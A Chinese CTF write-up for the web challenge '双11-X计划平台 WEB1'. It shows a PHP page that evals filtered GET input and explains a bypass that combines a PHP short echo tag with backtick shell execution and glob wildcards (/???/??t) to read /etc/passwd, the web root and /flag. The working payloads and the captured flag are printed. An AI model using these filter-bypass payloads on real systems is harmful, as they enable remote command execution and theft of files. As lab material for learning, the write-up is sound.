双11-X计划平台WEB1Wp

双11-X计划平台WEB1Wp

题目IP地址为 101.71.29.5:10049
打开题目为:

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

看了半天都没有头绪 看了好多大师傅的wp ,这个最类似 https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

发现根本不能够复现,因为长度限制到了35 。
所以呢

在正则过滤那边,可以看到’$'和’_'都被过滤了,这直接导致了即使用上述方法得到了字符串,也没办法执行php的函数(这里纠正一下,php7中我们是可以通过(‘func_name’)()在执行函数的,这样其实错误思路是可行的,甚至在无字母数字webshell之提高篇中,作者直接使用了取反字符串的方法构造了payload)。正确的做法使用php短标签是直接读文件,考虑如下php代码:

<?= `ls`?>

执行结果

可以看到,<? ?>是php的短标签,效果等同于:

<?php echo `ls` ?>

那么在eval中怎么用这个短标签呢?答案是先使用tag(?>)离开当前模式,再使用短标签,即eval(?><?= `ls`?>)。

接下来就是怎么绕过正则了,bash里面用通配符绕过就好了,即

cat /etc/passwd #替换为
/???/??t /??c/p???w?
因此paylaod为code=?><?=`/???/??? /???/???/????/*`;?> 相当于code=?><?=` /bin/cat /var/www/html/*`;?>, 会发现php代码里面的源代码getflag那一部分的函数是是从/flag里面读取的,那么构造code=?><?=`/???/??? /????`;?>相当于code=?><?=` /bin/cat /flag`;?>即可。

得到flag
flag{aa5237a5fc25af3fa07f1d724f7548d7}

拓展学习

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值